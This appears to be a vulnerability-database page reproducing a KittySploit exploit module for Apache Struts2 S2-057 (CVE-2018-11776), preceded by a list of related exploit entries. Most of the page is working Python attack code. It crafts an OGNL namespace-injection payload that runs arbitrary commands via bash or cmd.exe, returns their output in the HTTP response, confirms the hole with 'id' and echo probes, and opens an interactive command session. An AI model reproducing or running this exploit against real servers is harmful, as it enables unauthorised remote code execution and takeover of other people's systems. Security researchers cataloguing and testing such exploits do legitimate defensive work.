Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776)
| Reporter | Title | Published | Views | Family All 166 |
|---|---|---|---|---|
| Exploit for CVE-2018-11776 | 18 Jun 202018:07 | – | gitee | |
| Exploit for CVE-2018-11776 | 2 Jan 202017:01 | – | gitee | |
| Exploit for OS Command Injection in Gnu Bash | 27 Jul 202504:21 | – | gitee | |
| Exploit for CVE-2018-11776 | 23 Aug 201820:06 | – | githubexploit | |
| Exploit for CVE-2018-11776 | 24 Aug 201803:01 | – | githubexploit | |
| Exploit for CVE-2018-11776 | 28 Aug 201823:48 | – | githubexploit | |
| Exploit for CVE-2018-11776 | 25 Aug 201812:45 | – | githubexploit | |
| Exploit for Expression Language Injection in Atlassian Confluence_Data_Center | 6 Oct 202123:24 | – | githubexploit | |
| Exploit for CVE-2018-11776 | 24 Aug 201803:01 | – | githubexploit | |
| Exploit for CVE-2018-11776 | 24 Aug 201803:01 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776) — execute session."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Apache Struts2 S2-057 OGNL RCE (CVE-2018-11776)',
'description': (
'Exploits CVE-2018-11776 (S2-057) OGNL injection via crafted namespace '
'paths when alwaysSelectFullNamespace is enabled. Opens an interactive '
'execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-11776'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-11776',
'https://cwiki.apache.org/confluence/display/WW/S2-057',
],
'tags': ['struts', 'struts2', 'ognl', 's2-057', 'rce', 'unauth', 'cve-2018-11776'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['struts', 'apache'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'OGNL namespace injection'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2018_11776_detect'],
},
},
}
action = OptString('actionChain1.action', 'Struts action suffix', False, advanced=True)
def _ognl_path(self, cmd: str) -> str:
safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
ognl = (
'${(#_memberAccess["allowStaticMethodAccess"]=true,'
f"(#cmd='{safe}'),"
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))),"
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})),"
'(#p=new java.lang.ProcessBuilder(#cmds)),'
'(#p.redirectErrorStream(true)),'
'(#process=#p.start()),'
'(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())),'
'(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)),'
'(#ros.flush())}/'
+ str(self.action or 'actionChain1.action')
)
return '/' + quote(ognl, safe='')
def execute(self, cmd: str) -> str:
r = self.http_request(
method='GET',
path=self._ognl_path(cmd),
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-11776 confirmed via id output',
'confidence': 'high',
}
token = self.random_text(8)
if token in (self.execute(f'echo {token}') or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-11776 confirmed via echo probe',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'OGNL payload did not return command output',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
8.7High risk
Vulners AI Score8.7
CVSS 3.18.1
CVSS 29.3
EPSS0.99991
SSVC